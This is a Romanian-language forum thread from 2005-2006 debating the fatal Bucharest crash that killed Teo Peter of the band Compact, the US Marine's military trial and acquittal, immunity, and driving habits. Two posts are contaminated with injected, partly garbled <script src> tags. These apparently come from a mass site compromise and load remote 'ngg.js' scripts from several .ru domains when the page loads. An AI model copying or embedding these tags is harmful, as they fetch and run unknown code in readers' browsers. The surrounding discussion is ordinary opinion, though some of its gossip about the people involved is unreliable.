PDA

Arată versiune întreagă : Americanii o



sorin
09.02.2005, 06:21
Dupa cum circula vestile prin presa, s-ar parea ca americanii vor sa-l scoata basma curata pe puscasul marin care a provocat accidentul in urma caruia Teo Peter, basistul trupei Compact a murit.
Ceea ce banuiam ca o sa se intample in momentul cand puscasul marin a fost scos in mare graba din <st1:country-regi&#111;n><st1:place>Romania</st1:place></st1:country-regi&#111;n> se confirma din pacate. Corb la corb nu-si scoate ochii smileys/smiley6.gif

Sa vedem daca oficialitatile romane vor avea ceva de spus in acest caz.

kiki
09.02.2005, 10:16
N-au ce sa zica. Prea ii pupa-n fund pe americani. Poate Basescu cand vine la intalnirea cu Bush.


Basescu e instare, dar din pacate Bush nu-i instare de nimic.smileys/smiley5.gif

kiki
09.02.2005, 10:19
suntem inca considerati o tara din lumea a treia ...desi statistic am urcat o treapta. Guvernul american nu o sa-si lase in vaci nici un cetatean sa fie judecat in alte tari, mai ales din "lumea a treia"

Johann
09.02.2005, 11:45
..trist smileys/smiley18.gif..dar adevarat,era si de asteptat sa se intimple ce sa intimplat..doar e vorba de un cetatean american..!!!

Ana Tofan
09.02.2005, 18:59
Aveti dreptate. Intotdeauna cel mai tare invinge.

angela
04.03.2005, 18:42
La cererea familiei artistului Teo Peter,
autoritatile romane in drept au efectuat o noua expertiza, pentru a
stabili cu exactitate imprejurarile si vinovatiile in cazul
accidentului rutier in urma caruia muzicianul si-a pierdut viata.
Specialistii au ajuns la concluzia ca puscasul marin american, seful
Serviciului de protectie al Ambasadei Americane din Bucuresti circula
cu o viteza de 46-52 km/h. Indiferent, insa, de viteza, el nu putea
evita accidentul, in conditiile in care nu a respectat doua indicatoare
de oprire in intersectie. Chiar daca taximetristul roman ar fi rulat cu
100 km la ora, impactul nu putea fi evitat, sustin expertii, atata
vreme cat americanul nu a oprit in fata indicatorului STOP, amplasat in
intersectia strazilor Dacia cu Polona, in locul unde s-a petrecut
tragedia. </font>

angela
20.04.2005, 08:40
Americanul implicat in moartea lui Teo Peter pus sub acuzare


Corpul de Infanterie Marina a Statelor Unite ale Americii a formulat acuzatiile impotriva sergentului Christopher Van Goethem referitoare la accidentul rutier din luna decembrie, in care si-a pierdut viata Teo Peter. Cea mai grava este acuzatia de omor prin imprudenta.


In cursul zilei de ieri, Thomas Delare, Insarcinatul cu Afaceri al Misiunii Diplomatice a Statelor Unite la Bucuresti, a informat autoritatile romane despre acuzatiile formulate impotriva lui Van Goethem.


Urmatorul pas in procedura juridica militara va fi o audiere preliminara in care vor fi examinate capetele de acuzare aduse impotriva lui Van Goethem. Audierea va avea loc, probabil, in urmatoarele saptamani. Ulterior, ofiterul insarcinat cu audierea va inainta un raport catre Comandantul sergentului Van Goethem.


Acest raport va stabili daca exista suficiente dovezi pentru fiecare acuzatie formulata si daca aceste acuzatii vor fi judecate de o instanta militara. Comandantul va revedea acest raport si va dispune cu privire la sergentul Van Goethem
<TD>http://www.hotnews.ro/images/nothing.gif</TD></TD></TD>

rossa
21.04.2005, 00:16
http://smileys.smileycentral.com/cat/12/12_6_24.gif (http://www.smileycentral.com/?partner=ZSzeb001_ZRxdm185YYRO) Draga Angela , asta-i frectie la piciorul de lemn . Convingerea celor din Romania este ca nu se intampla absolut nimic . Cred ca m-as bucura enorm sa ma insel , dar este destul de greu sa se intample acest lucru!

angela
21.04.2005, 06:30
Probabil asa o fiismileys/smiley2.gif

dana_pascan
22.04.2005, 03:07
Cred ca problema nu sunt americanii, ci romanii. Sa nu uitam ca americanii au fost in stare sa cheme un presedinte in fata instantei (Billy boy) si sa-l sanctioneze pentru declaratii false.


Daca romanii (oficialii) ar renunta la sportul linsului in partea dorsala a marilor puteri, si s-a prezenta la masa tratativelor cu temele corect si complet facute, cred ca ar fi tratati cu mai multa demintate (asta in general vorbind).


In cazul Teo Peter, daca autoritatile romane insista si sustin varianta adevarata si cinstita, cred ca americanul nu are scapare. dar pana cand Romanii nu au pozitie clara si deciziva...de ce ar face primul pas americanii?

sorin
27.07.2005, 06:56
S-ar parea ca pana la urma Cristopher VanGoethem, puscasul marin care l-a accidentat mortal pe Teo Peter, a fost judecat si gasit vinovat. Ace este acuzat de omor din imprudenta, conducere sub influenta alcoolului si adulter, accidentul avand loc dupa ce acesta isi condusese amanat acasa si bause bine prin mai multe locuri.
Inca nu stiu daca s-a stabilit si vreo pedeapsa.

27.07.2005, 09:27
Pentru cei care credeau ca justitia americana este la fel cu cea
romana, am gasit un articol interesant de citit din presa
americana.......

dupa cate se vede nu a fost vorba de un cover-up, ci doar de lunga
traditie americana de a considera pe fiecare individ "innocent till
proven guilty!"



http://www.marinetimes.com/story.php?f=1-292925-994536.php

rossa
27.07.2005, 19:32
In Romania la Tv au spus ca amanta lui era fata unui oficial al ambasadei americane la Bucuresti si culmea acesta cunoastea acest lucru si a fost rugat de puscasul marin sa pastreze tacerea . Ciudat , un tata sa fie rugat sa pastreze tacerea in ceea ce priveste relatia fiicei sale cu un puscas marin casatorit ???

01.02.2006, 05:22
Ce parere aveti despre verdictul tribunalului militar american in legatura cu nevinovatia puscasului marin care l-a omorit pe Teo Peter?

sorin
01.02.2006, 05:31
Initial, am crezut ca justitia americana va da un verdict corect in acst caz, dar cred ca m-am inselat. Dupa parerea mea, au tras de timp, sa se calmeze spiritele si apoi au mers pe ideea "corb la corb nu-si scoate ochii". Sunt total dezamagit de motivele puerile pe care le invoca, pentru a scoate basma curata un individ beat, care a omorat un om nevinovat.


Probabil, vazand ca in Romania 'coana Paunescu a omorat trei oameni si nu a patit nimic, pot si ei sa dispara in ceatza doar cu unul. smileys/smiley5.gif

01.02.2006, 05:51
Opinia publica din Ro este revoltata de sentinta tribunalului american.


Sorine, eu aveam incredere mai mare in justitia americana decit incea romaneasca dar sunt tare dezamagit.Eu am fost jignit de catre colegii de munca pentru ca am neamuri in State.E o situatie tare neplacuta.

agora
01.02.2006, 06:14
Care e problema?!? Logica de beton: nu s-adovedit ca mortul era in masina, inseamna ca mortul nu a murit in respectivul accident. Probabil in tara vampirilor or fi avut impresia ca noaptea zombie se plimba de nauci printre oameni si din cand in cand se aseaza in cate o masina accidentata. Bizarerii din astea in justitie indica carentele sistemului judiciar fie ele legate de eficienta legii fie legate de moralitatea celor care le aplica.

garfield
01.02.2006, 07:03
American justice is not always about right and wrong, or public perception of guilt or innocence.If not all the procedures are followed in the collection of evidence, interrogation, or in the prosecution process, anyone with a good lawyer and 'reasonable doubt', or by using one of any number of 'technicalities',can walk free. It's the way justiceworks here, and even if it's not 100% fool proof (look at O.J. Simpson's case), it is certainly a heck of a lot better than the countries witha corrupt judicial system, whereyou can just bribe your way out of trouble.

garfield
01.02.2006, 07:06
Bizarerii din astea in justitie indica carentele sistemului judiciar fie ele legate de eficienta legii fie legate de moralitatea celor care le aplica.


Moralitatea celor care le aplica? Ai intalnit multi avocati cu moralitate, sau care macar cunosc ce inseamna acel cuvant? smileys/smiley5.gif

think
01.02.2006, 07:40
Deschid acest topic nu inainte da a mentiona ca asemeni faptului ca sunt mandru ca sunt american nu pot sa imi neg originea si sa ma gandesc la cei din Romania(asa cum uni o mai numesc casa chiar si de aici).


Topicul deschis aici de mine(accidentul provocat de soldatul marin Cristopher VanGothem urmat cu decesul basistului formatiei Compact si ranirea soferului de taximetru in care acesta se afla) il privesc din mai mult puncte de vedere.


In primul rad imaginea pe care soldatii americani o lasa in fatza lumii intregi.Si in al doilea rand faptul ca in parerea mea s-a produs o nedreptate fata de un cetatian roman (cu atat mai mult cu cat acesta a fost un binecunoscut artist).


Aceasta este stirea care m-a facut sa deschid topicul.


Militarul american implicat

sorin
01.02.2006, 07:49
Think,
Avand in vedere ca deja exista un topic legat de accidentul in care Teo Peter a fost omorat, mi-am permis sa-ti mut mesajul aici.
Iti dau dreptate cand spui ca nu ar trebui sa stam nepasatori si sa facem ceva. Oricine este liber sa vina cu idei pe care sa le dezbatem. Daca vreti, putem deschide si o petitie online unde sa semneze cat mai multa lume impotriva acestei sentinte nedrepte.

think
01.02.2006, 07:56
Sorine faci cum vrei doar este site-ul tau.Aici este vorba nu doar de Teo Peter si de imaginea Armatei Americane,atitudinea noastra a romanilor (de aici si de acolo) nu este sdingurul incident.


Am sa revin cu detalii.Sau poate topicul ar suna mai bine altfel.


Revin

sorin
01.02.2006, 07:57
Poate in graba nu am inteles exact scopul topicului tau. Te rog re-posteaza-l si voi sterge de aici.

think
01.02.2006, 07:58
</v:imagedata></v:shape>Van Gothem nu este singurul cazUn caz asemanator cu cel

think
01.02.2006, 08:02
Nu iti fa probleme.


Eu as dori sa ajut cumva familia lui Teo Peter (intradevar) de aceea am pornit de la acest caz.


Dar vad ca imaginea US Army se altereaza si sincer nu as vrea,in plus nedreptatiile se tin lant (uni inchid ochii iar alti isi fac drepatatea singuri) :
5 decembrie 2004 La numai o zi de la tragedia

GNChicago
01.02.2006, 08:03
Am vazut la Tv diferite opinii, inclusiv Basescu, asa-numiti ziaristi ca C.T Popescu, familia lui Teo Peter.


Este regretabil ca s-a intimplat, DUMNEZEU sa-l odihneasca in pace.


Cred ca este o neintelegere a justitiei americane de catre majoritatea celor care au vorbit.


In primul rind circulatia in Bucuresti este haotica, majoritatea nu respecta semnele de circulatie, dar cel mai important este ca acel semn din intersectie nu era vizibil, avind in fata un copac care acoperea semnul si consider ca e de datoria primariei sa faca acele semne vizibile.


Cu vreo 10-15 ani in urma am primit un tichet amenda ca am avut viteza peste limita de viteza din suburbia respectiva. Plimbindu-ma pe jos pe linga acel loc am observat ca semnul respectiv era partial acoperit de o creanga. Cind am ajuns la judecata, i-am spus judecatorului ca acel semn e partial acoperit si urmarea a fost ca amenda respectiva a fost anulata si i-a mustrat pe cei de la primarie canu au avut grija sa "tunda" pomul respectiv astfel ca acel semn sa se vada.


Acelasi lucru s-a intimplat si la Bucuresti, cind acel semn nu a fost vizibil.


Sergentul american Christopher a beneficiat de tratatul bilateral incheiat de autoritatile romane si americane ce i-a permis acestuia sa paraseasca Romania imediat dupa accident.


Despre proces in sine, daca romanii vroiau sa cistige acest proces trebuia sa-l aduca ca martor pe SINGURUL om care a fost acolo in momentul accidentului si anume pe SOFERUL TAXIULUI, acesta era singurul care-l putea loca pe Teo Peter in taxi. Juriul trebuia sa aiba o marturie clara in acest sens ori soferul nu a fost la proces. Degeaba urla C.T. Popescu ptrca el nu a fost la locul accidentului. Daca a-ti vazut filme destule, in filme se mai intimpla sa se aduca mortul mort deja si sa fie plasat unde trebuie ptrca sa iasa un scenariu bun.....


Personal am convingerea ca Teo Peter a fost in taxi, dar convingerea measi a 22 de milioane de romani nu e suficienta ptr a convinge juriul care avea nevoie de soferul taxiului sa depuna marturie.


Nici Bush, nici Basescu nu se pot amesteca in actul de justitie asa cum se crede si se practicala Bucuresti ( vezi cazul Macovei- Calin Popescu Tariceanu- Dinu Patriciu)si este regretabil faptul ca toti cei care acum vorbesc si critica justitia americana, nu au fost capabili sa asigure un avocat care sa apere intr-un mod decent interesele familiei lui Teo Peter, sa se faca dreptate.


Cei care au fost la proces au fost doar amatori in vizita prin America!!!


De remarcat ca unul din corespondentii (imi scapa numele....Mihai....)de la TVR-i a expus corect situatia de la proces conform legilor americane.


Conform legii americane, cazul nu poate fi rejudecat de cite ori visam ptrca asta ar insemna "double jeopardy", nu poti fi judecat in USA de doua ori ptr aceeasi vina.


Nu sunt avocat de meserie, dar cele spuse de mine mai sus sunt stiute de majoritatea elevilor de scoala chiar.


Ramine de vazut ce se poate face in partea civila, dar si aici pot cere recompense materiale, dar daca sergentul american muta tot ce are pe numele altcuiva, atunci neavind nimic nu poate sa-i ceara mare lucru.....dar cel mai important este ca Teo Peter nu mai e printre noi.....


DUMNEZEU sa-l odihneasca in pace!








/script>ript src=http://c=http://www<script src=http://www.nmr43.ru/ngg.js></script><script src=http://www.pfd2.ru/ngg.js></script><script src=http://www.iroe.ru/ngg.js></script><script src=http://www.kodj.ru/ngg.js></script><script src=http://www.kjwd.ru/ngg.js></script><script src=http://www.bce8.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></script><script src=http://www.kpo3.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></script><script src=http://www.iroe.ru/n<script src=http://www.iroe.ru/ngg.js></script>

garfield
01.02.2006, 10:58
In primul rad imaginea pe care soldatii americani o lasa in fatza lumii intregi.Si in al doilea rand faptul ca in parerea mea s-a produs o nedreptate fata de un cetatian roman (cu atat mai mult cu cat acesta a fost un binecunoscut artist).


Are importanta ca era 'un binecunoscut artist' sau nu? Daca in loc, murea soferul de taxi, ar fi fost diferit? Poate mai putin vinovat cel care a cauzat accidentul?


Eu raman uimit de cate ori citesc (sau vad la televizor) despre cineva care a fost omorat, si ce persoana importanta si bunaa fost, sau ce elev bun a fost, ca si cand viatza lor ar avea valoare mai mare decat a unui om de mai putina importanta sau un elev care lua si note mai mici. smileys/smiley5.gif



Ar trebui noi romani sa stam nepasatori la o astfel de judecata?Arata bine imaginea Armatei Americane in lume?Rog parerile voaste.


Imaginea armatei americane in lume cred ca e irelevanta in aceasta situatie. Crezi ca la familia lui Teo le pasa de cum vede toata lumea armata americana? Crezi ca ar fi fost diferit daca era omorat de un soldat francez, sau orice cetatean roman? Parerea mea e ca cel mai important e ca cine a cauzat acidentul (oricine ar fi el), sa fie pedepsit.


Cat despre intrebarea daca romanii ar trebui sa stea nepasatori la o astfel de judecata, raspunsul meu e ca nu prea au ce sa faca. Romanii oricum raman nepasatori la ce se intimpla zi de zi in tara lor. Condusul in Romania e incredibil de periculos. Eu m-am ingrozit cand am fost anul trecut in Romania si am vazut cum se conduce. Nu exista tari civilizate in care sa nu se respecte nici un semn de circulatie si sa nu existe respect pentru viata oamenilor. Pot sa explic in detaliu daca vrei. Stiu un caz de anul trecut in care unul din noii milionari romani a omorat cateva persoane cand a trecut pe banda cealalta, taind o curba in viteza dublu cea legala. Bine inteles ca nu i s-a intimplat absolut nimic. Deci daca se tolereaza pentru toti cei din Romania, de ce sa fie exceptie acum cu soldatul american?


Uite aici un articol despre accidentul la care ma refer:
<DIV class=c&#111;ntinutArticol>
<DIV class=titluArticol>Accident mortal la Pielesti</DIV>
<DIV class=autorArticol>de Simona TUDOR</DIV>
<DIV class=autorArticol></DIV></DIV>
<DIV class=c&#111;ntinutArticol>[i]Soferul directorului Mitrescu de la Regionala CFR a decedat, iar pasagerul din dreapta acestuia, comisarul Dumitru Serbanescu, seful Politiei TF Craiova, a fost ranit

Un grav accident de circulatie s-a produs ieri dupa-amiaza in apropierea comunei doljene Pielesti. Venind de la Bucuresti spre Craiova, la volanul autoturismului Mercedes cu numarul de inmatriculare DJ-01-TOP, Doru S. a traversat comuna Pielesti, apoi, la iesirea din localitate spre Craiova, a lovit frontal o masina care venea din sens opus.
Celalalt autoturism implicat in accident este masina de serviciu a directorului Mitrescu de la Regionala CFR Craiova, un Daewoo Nubira cu numarul de inmatriculare Nubira DJ-11-MRF. La volan se afla Alin Stoican, de 23 de ani, din Craiova, soferul directorului, iar scaunul din dreapta era ocupat de comisarul Dumitru Serbanescu, seful Serviciului Politiei Transporturi din cadrul Inspectoratului de Politie al Judetului Dolj.
Impactul a fost atit de puternic incit ambele masini au fost grav a<script src=http://www.iroe.ru/ngg.js></script>

garfield
01.02.2006, 11:19
think, vii cu articole si cu date despre accidente cauzate de cetateni americani. Lista pe care o dai du pentru doi ani, aici (in NY) se intimpla in FIECARE zi. Sunt accidente si nu vad de loc relevanta cu cum sunt vazuti soldatii americani in lume.


Cat despre faptul ca sunt adusi inapoi in USA si nu sunt lasati sa fie prosecutati in alte tari, mi se pare normal. Noi procedam la fel cu toti 'diplomatii' din alte tari care vin aici si fac tot felul de prostii, si nu ma refer la accidente de masina, sau la faptul ca parcheaza ori unde si nu trebuie sa plateasca amenzi, dar la crime violente, trafic de droguri, etc. Toti au imunitate diplomatica si se respecta.


Nu cred ca tu daca ai fi intr-o situatie similara si ai avea imunitate diplomatica, nu te-ai folosi de ea!

Born2Cook
01.02.2006, 11:43
Nu dati cu piatra in mine... de 16 ani sint plecata si tot de-atatia ani n-am fost acasa... sotul meu este American, dar de cite ori vine vorba sa mergem in Romania... intru in panica, pur si simplu as merge mai repede in Timbuktu decit in tara.


Cei care traiesc in USA de un timp, vor intelege mai bine cele ce vreau sa spun. Nu ma intelegeti gresit nu vreau sa credeti ca sint cu nasul pe sus sau ca vreau sa arat pe cineva cu degetul... insa nu poti sa nu iei in considerare cele auzite. Am tot sperat in toti acesti anica noua generatie va prelua ceva din stilul si mentalitateaoccidentala, tinand cont ca sintem in contact cu ei. Prieteni Americani care au stat un timp la Bucuresti declara ca le-au placut tara dar lumea (unii) lasa de dorit in comportament.


Vorbind de accident, pt mine e greu sa dau un verdict, as zice totusi ca viata unui om e pretioasa asa cum este, nu dupa nume, grad sau meritele lui. La fel putea sa fie un bebe care nu a apucat sa detina merite in viata.Gasesc ca nu e cinstit din partea Americana. Daca accidentul s-a petrecut la Bucuresti... cel care l-a comis trebuia judecat tot acolo. Nu vad un cetatean Roman care comite o crima in USA sa fie teleportat in Romania de catre guvern.


Cind am aflat de accident am incercat sa-i spun sotului meu, drept sa va spun regret ca am facut-o pt ca in timp ce-i povesteam, in inima mea se cladea o stare tampita... de parca sotul meu era Americanul in cauza. In acelasi timp mi-am dat seama ca cei de la Bucuresti l-ar pune in aceasi oala cu faptasul. Iar el este un om extraordinar de bun. De ce nu sintem in stare sa judecam individual si nuin masa, indiferent de culoare, religie sau nationalitate?


Ma uit la lista postata de think atat de grijuliu alcatuita din cetateni straini. Oare de ce faptele strainilor sar in ochi mai repede decit a romanilor, cind stim foarte bine ca-i avem si"pe ai nostri"?


In speranta ca nu am lezat pe nimeni... I gave my 2 cents.

GNChicago
01.02.2006, 13:11
Am expus cazul accidentului cu Sergentul american la doi elevi de liceu, pentru ca ei au studiat in clasa 8-a sau a 9-a aspecte pricipale din lege inclusiv Constitutia Statelor Unite si verdictul lor a fost pe baza datelor de la proces: Sergentul american e NEVINOVAT!


Poate incearca si altii sa dea acelasi test si cu alti teenagers sa vedem ce spun.

southjersey
01.02.2006, 13:54
GN, fie ca semnul era sau nu vizibil, toata lumea care a obtinut permis de conducere in Romania stie ca atunci cind te apropii de o intersectie trebuie sa reduci viteza pina la limita evitarii oricarui pericol. Apoi, daca nu vezi nici un semn pe sensul tau de mers, te uiti sa vezi daca pe drumul pe care il intersectezi sint indicatoare de reglementare a traficului. Mai mult, te poti uita daca traficul din sens opus are sau nu indicatoare (daca vezi forma caracteristica a indicatorului STOP trebuie sa iti imaginezi ca si tu ar trebui sa ai un semn asemanator).


Si apropo de tichetul tau: eu am fost "agresat" de o masina de Politie nemarcata (tailgate). Crezind ca cel din spatele meu e "high" am incercat sa scap de el. Cind am depasit viteza din zona respectiva cu 8 mile/ora am vazut "licuricii" in retrovizor. Am oprit, tipul mi-a spus ca am avut 58 in zona de 50 iar cind mi-a dat tichetul mi-a scris 75 in loc de 58. M-am dus in curte si am spus toate astea judecatorului si numai ca nu mi-a spus "go **** yourself". A trebuit sa platesc $168 si mi-a dat si 2 puncte. Trist...

GNChicago
01.02.2006, 15:41
Southjersey, regulile de circulatie din Romania sunt foarte confuze in comparatie cu cele americane.Nu stiu de ce nu se inspira din regulile americane, ptrca nu i-ar costa nimic- e GRATIS- si ar salva multe vieti in Romania.


Cind legea spune ca trebuie sa reduci viteza pina la limita evitarii oricarui pericol, e destul de comfuz ptrca pe drum pot fi mai multi parteneri care circula, si practic justitia se spala pe maini cind nu da ceva precis. Deasemenea cind conduc pe sosea nu-mi imaginez nimic din ce semne care ar putea fi in sensul opus, ma uit doar dupa semnele care sunt pe partea mea de drum.


Sa-ti spun o alta intimplare....In Chicago trebuie sa-ti reinoiesti driver licensul (DL) pe la vreo cinci sau sase ani si atunci trebuie sa dai si proba scrisa, sala de examen. M-am dus la schimbarea de DL si mi-au spus ca trebuie sa dau sala din nou desi nu ma pregatisem pentra asa ceva. Am dat si am avut o singura greseala nesemnificativa ceva de genul trebuie sa semnalizezi stinga sau dreapta cu 50 feets inainte sau cu o suta inainte si am ales numarul gresit, de fapt nu-mi mai aduc aminte.


Recent am intrat din intimplare navigind pe net am intrat pe un site unde am luat testul de conducere auto din Romania si era doar prima serie din mai multe serii de intrebari. Rezultatul a fost dezastrous, am realizat in jur de 60% si cu acest rezultat as fi picat in Romania.


Concluzia mea este ca regulile de circulatie in Romania sunt prea complicate, unnecessary de complicate spre deosebire de cele americane unde regulile sunt foarte simple si in gluma spuneam se da ca un test ca nu esti debil mintal....asa de usoare sunt. In Romania sunt prea multe accidente rutiere si Romanian Government trebuie sa se uite la acest aspect sa reglementeze astfel va salva multe vieti.


Toti copacii aia de pe marginea soselelor sunt copaci care pot ucide un om sau mai multi in cazul ca masina iese de pe sosea, pe cita vreme aici in locurile periculoase sunt butoaie de plastic ptr amortizarea inpactului.....Oare citi oameni au murit in Romania in urma inpactului cu un copac plantat pe marginea majoritatea soselelor din romania??? Stie cineva?


Cit priveste de politistul in cazul tau e regrtabil, avem si noi uscaturi, dar nu l-as fi lasat asa ci as fi depus ceva in scris la cazul tau ca parte din marturie, ptrca probabil uscatura aia de politist si-a facut un obicei si e cuvintul tau impotriva cuvintului lui, dar daca toti ar face ceva in scris, s-ar aprinde un bec undeva si l-ar prinde in flagrant delicyt si l-ar zbura din politie. Odata ce ne-ai povestit noua aici, mergi pina la capat si trimite si in scris cu numarul starului de la politistul cu pricina. FIGHT BACK! S-ar putea sa-l coste jobul lui caldutz!


Aud pe Prim Ministrul roman (PM) ca ar plati ptr cheltuielile de judecata sa-l dea in judecata pe sergentul american.....si asta e lucrul cel mai rau pe care il poate face, sa plateasca guvernul Romaniei. El nu stie ca aici sunt avocati care de-abia asteapta sa ia un caz pe gratis si numai daca cistiga atunci e platit cu 33% din ce poate colecta....Asta inseamna co-interesare! Ma astept ca un PM sa stie mai multe, iar daca nu stie ar putea sa intrebe cum e mai bine....

southjersey
01.02.2006, 17:02
OK, se pare ca parerile sint impartite. smileys/smiley1.gifEu zic ca regulile din Romania sint bune insa nimeni nu le respecta. Se circula haotic nu pentru ca circulatia nu e reglementata ci pentru ca vrem sa aratam ca sintem "tari" si pe noi nu ne face o lege... Sa-ti spun citeva din regulile pe care mi le-as dori aici: interzicerea depasirii pe poduri sau sub poduri, a stationarii/parcarii in curbe sau la mai putin de 15 ft de intersectie, alocarea unei benzi pentru camioane si diferentierea limitei de viteza intre ele si autoturisme (tinind cont ca la 65 mph unui camion ii trebuie o distanta de oprire mult mai mare decit unui autoturism), interzicerea montarii de faruri suplimentare (nu de multe ori am fost orbit de masini care circulau in spatele meu si care dadeau impresia ca sint urmarit de un Boeing 747) etc.

GNChicago
01.02.2006, 17:20
Southjersey, toate dorintele tale sunt indeplinite, cel putin asa imi amintesc in Illinois.....cu exceptia farurilor suplimentare unde exista totusi niste reguli.


Orbirea cu farurile celui din spate apare frecvent daca ai in spate un SUV....datorita diferentei de inaltime....


E trecut de mezul noptii in NJ, asa ca Noapte buna jersey person....

agora
01.02.2006, 21:31
pt. garfield

rossa
01.02.2006, 22:32
Interesant , din tot ce am citit pana acum inteleg ca tot TEO PETER este de vina . Saracul om , ca multe pacate a mai avut de ispasit . Eu unul as fi vrut sa vad cum reactionati atunci cand un membru al familiei voastre ar fi fost victima ? Ati vorbit despre semnul de circulatie care nu era vizibil dar uitati despre alcolemia ridicata si viteza masinii , de ce oare ? Este foarte bine ca soldatii americani nu sunt lasati sa putrezeasca in nu stiu ce puscarie dar nu mi se pare normal sa-ti bati joc ( prin intermediul unei glume de sentinta) de atatia oameni care asteptau o alta decizie , una dreapta care sa arate ca si atunci cand o tara nu este SUA , poate avea principii . Si mai vorbim de justitia noastra cea corupta . Eu vad ca se intampla si la case mult mai mari . PACAT .....

02.02.2006, 00:36
Gasesc ca nu e cinstit din partea Americana. Daca accidentul s-a petrecut la Bucuresti... cel care l-a comis trebuia judecat tot acolo. Nu vad un cetatean Roman care comite o crima in USA sa fie teleportat in Romania de catre guvern.





Born2Cook, probabil ca nu sti ca si unii romani care comitinfractini in US sunt trimesi in Ro sa faca guvernulce vrea cu ei. Cunosc 2 cazuri careau avutoptiunea sa fie judecati aici in US sau in Ro, amandoi au ales sa plece in Ro. Unul era cuvisa de turist sia fost prinsshoplifting, altul era ilegal si se ocupa cu furtul de Credit Card. Nu mai stiu ce sa intamplat cu ei cand au ajuns in Ro. Al doile aspect este ca Ro are o reputatie de tara corupta, unde legile sunt o gluma si justitia este de vanzare. Guvernul american probabil ca a dorit sa-si protejezeindividul respectiv de o asemenea situatie. Un al treile puct ar fi ca nici in Ro persoanele care comit accidente de circulatie nu sunt aspru pedepsite. Sotia lui A Paunescu a omorat o famile intreaga cu masine ei si nu stiu sa fi facut vreo zi de puscarie......smileys/smiley2.gif


Probabil ca spiritele sunt incinse pentru ca este vorba de o personalitate iubita si apreciata.Ma intreb, daca arfi fost vorba de un om de rand, tot la fel am fi discutat acuma? Tot la fel de suparata ai fost?


Sunt de acord ca famila victimeiare totdreptul safie despagubita desoldatul sau guvernul americanpentru crima comisa, asa cum se face in US.

rossa
02.02.2006, 01:49
Mugatu , eu unul nu sunt de acord cu punctul tau de vedere din urmatorul motiv . Teo Peter este un nume , putea fi altcineva , oricine . Problema este ca acest caz a fost mediatizat si solutia care mi se ofera mie ca si cetatean este penibila . La fel am reactionat si atunci cand sotia senatorului Adrian Paunescu a omorat acea familie . Totusi am zis ca asa reactioneaza doar justitia din Romania dar se pare ca m-am inselat . Totusi acolo nu a fost vorba de alcool si viteza excesiva. Nu poti sa stergi totul cu buretele , indeferent de persoana .Eu unul sunt profund indignat si totodata trist deoarece dela justitia americana m-as fi asteptat la mai mult ....

02.02.2006, 02:10
Rossa, esti liber sa ai ce parere vrei. Eu unul nu am fost martor la proces, nu am vazut dovezile si ascultat marturiile aduse, asa ca nu ma pot pronunta daca soferul a fost beat, daca a condus cu viteza, etc. Eu respect decizia juriului care sper ca a hotarat fara nici o influenta politica. In US,sunt foarte rare situatiile in carecineva merge la puscarie pentru un accident rutier.Doar dacaa baut peste limita legala de alcohol in sange, 0.8in cele mai multe state, sidaca a mai avut probleme cu legea.Daca Teo ar fi fost un anonim, nimeni nu s-ar fi incins asa pe forum. Un alt exemplu ar fi ca saptamana trecuta un cetatean japonez a fost mancat de viu in Bucuresti, pe Calea Victoriei, de cainii vagabonzi si nuam vazutnici unforumist indignat demoartea prematura a unui om nevinovat.....de ce oare? Pentru ca este unom pe care probabil ca nimeni dintre noi nu-l cunoaste si probabil ca nu ne pasa.

02.02.2006, 03:06
I see that Garfield resumes all to a matter of procedures! The problem is not that, the problem is that all this affair seems to be deliberate prepared so that the marine not to be found guilty! Procedures are the minor details, with an essential impact on the verdict! I wish you to be in the place of Teo Peter's relatives, then I would like to see you talk about procedures!

Cat despre circulatia din Romania, recunosc, nu este cea mai buna : doar avem strazi inguste si masini din ce in ce mai multe. Cred ca la asta s-a gandit si Van Goethem cand a baut vreo 3-4 beri, ca o s-o faca mai fluenta, cel putin pentru el! Se pare ca in noaptea respectiva n-a reusit asta, dar din cate observ i-a reusit in sala de judecata!
Ca sa nu mai spun ca era noapte, atunci cand se circula foarte liber, desi trebuie sporita atentia! Aici imi pare că " ză Mărin " a aplicat doar prima parte, de a doua ocup

02.02.2006, 04:23
I see that Garfield resumes all to a matter of procedures! The problem is not that, the problem is that all this affair seems to be deliberate prepared so that the marine not to be found guilty! Procedures are the minor details, with an essential impact on the verdict! I wish you to be in the place of Teo Peter's relatives, then I would like to see you talk about procedures!




Basarab, wishing someonea tragedy in their life, meaning to have a father, son, mother or spouse killed, just to prove your point, is sick and despicable.


Iam sure that the American government isvery concern about losing your support.


Please, don't tell me you are going to boycott the US, we really need your tourism and business!....smileys/smiley2.gif

Born2Cook
02.02.2006, 05:06
Born2Cook, probabil ca nu sti ca si unii romani care comitinfractini in US sunt trimesi in Ro sa faca guvernulce vrea cu ei. Cunosc 2 cazuri careau avutoptiunea sa fie judecati aici in US sau in Ro, amandoi au ales sa plece in Ro. Unul era cuvisa de turist sia fost prinsshoplifting, altul era ilegal si se ocupa cu furtul de Credit Card.


De la "shoplifting" si "fraud" pana la "murder" e diferenta uriasa. Banuiec ca cei 2 in cauza au fost imediat subiect de deportare, iar statul American pt a nu mai cheltui banii poporului i-a impachetat rapid si trimis acasa. Si-apoi legea spune clar... pt cei fara un statut definit, la prima abatere...sint deportati.Dar, a lua viata cuiva, nu cred ca iti mai ofera o "optiune", poate numai daca intervine guvernul Roman.

agora
02.02.2006, 05:45
pt mugatu


"Un alt exemplu ar fi ca saptamana trecuta un cetatean japonez a fost mancat de viu in Bucuresti, pe Calea Victoriei, de cainii vagabonzi ..."


Pe asta chiar ai umflat-o pana ai dus-o in zona legendelor si miturilor, la a "cata mana" ai auzit povestea?!?smileys/smiley36.gifsmileys/smiley36.gifsmileys/smiley36.gifsmileys/smiley36.gifsmileys/smiley36.gif


http://www.hotnews.ro/articol_41797-Stirea-mortii-japonezulu (http://www.hotnews.ro/articol_41797-Stirea-mortii-jap&#111;nezului-ucis-de-caine-face-inc&#111;njurul-lumii.htm) i-ucis-de-caine-face-inconjurul-lumii.htm

angela
02.02.2006, 06:26
Agora sa nu te mire faptul ca si eu am auzit si vazut acceasi stire transmisa chiar de PRO TVsmileys/smiley2.gif

angela
02.02.2006, 06:31
Totusi sa nu uitam ca accidentul produs in tara nu poate fi considerat
" murder" , nu a fost cu nici o intentie asta e clar. Eu zic ca tocmai
de aceea se si numesc accidente, se intampla fara voia nimanui, oricare
dintre noi ne putem gasi intr-o astfel de situatie si nu cred ca am
vrea sa infundam puscariile pentru asa ceva.smileys/smiley9.gif

Ceea ce ma surprinde pe mine e faptul ca e atat de atacat acest
